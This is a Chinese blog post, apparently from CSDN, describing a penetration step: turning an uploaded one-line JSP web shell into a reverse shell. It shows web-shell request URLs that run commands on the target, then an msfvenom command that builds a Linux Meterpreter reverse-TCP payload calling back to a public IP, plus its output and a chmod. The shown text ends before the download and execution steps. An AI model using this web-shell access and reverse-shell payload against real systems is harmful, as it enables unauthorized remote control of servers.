「渗透」:一句话木马反弹shell的思路

最新推荐文章于 2024-02-24 21:37:51 发布

binaxin

最新推荐文章于 2024-02-24 21:37:51 发布

阅读量2.2k

点赞数 1

文章标签： shell linux 安全

本文链接：https://blog.csdn.net/binaxin/article/details/108942506

版权

本文介绍了如何利用msf生成一句话木马反弹shell，并详细讲述了生成shell文件、下载执行、处理可能的问题以及如何接入shell流量的过程。通过这种方法，可以在目标系统中建立连接并进行后续操作。

摘要由CSDN通过智能技术生成

前提：现在情况是已经上传了一句话木马，可以执行命令如：ls,pwd,whoami等；问题在于，不管用python、bash还是perl都反弹不了，偷不了懒，就上msf把。

http://target-ip/where/muma/path/are/1587808279743_shell.jsp?pwd=admin&cmd=pwd
/u01/oracle/user_projects/domains/base_domain
http://target-ip/where/muma/path/are/1587808279743_shell.jsp?pwd=admin&cmd=whoami
oracle

一句话木马反弹shell思路，权当抛砖引玉:)

msf生成shell文件

msfvenom先生成反弹shell文件，赋权。

root@iZj6cgn7odv59wmjjhe6zwZ:~# msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=47.52.233.92 LPORT=1234 -f elf > shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1046632 bytes
Final size of elf file: 1046632 bytes
root@iZj6cgn7odv59wmjjhe6zwZ:~# chmod 777 shell.elf